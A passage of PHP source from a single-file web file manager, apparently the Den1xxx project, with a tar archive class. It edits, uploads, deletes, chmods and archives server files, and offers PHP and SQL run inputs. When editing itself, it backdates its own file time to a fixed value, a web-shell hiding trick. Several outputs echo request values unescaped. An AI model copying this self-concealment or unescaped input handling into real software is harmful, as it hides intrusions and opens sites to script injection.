	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

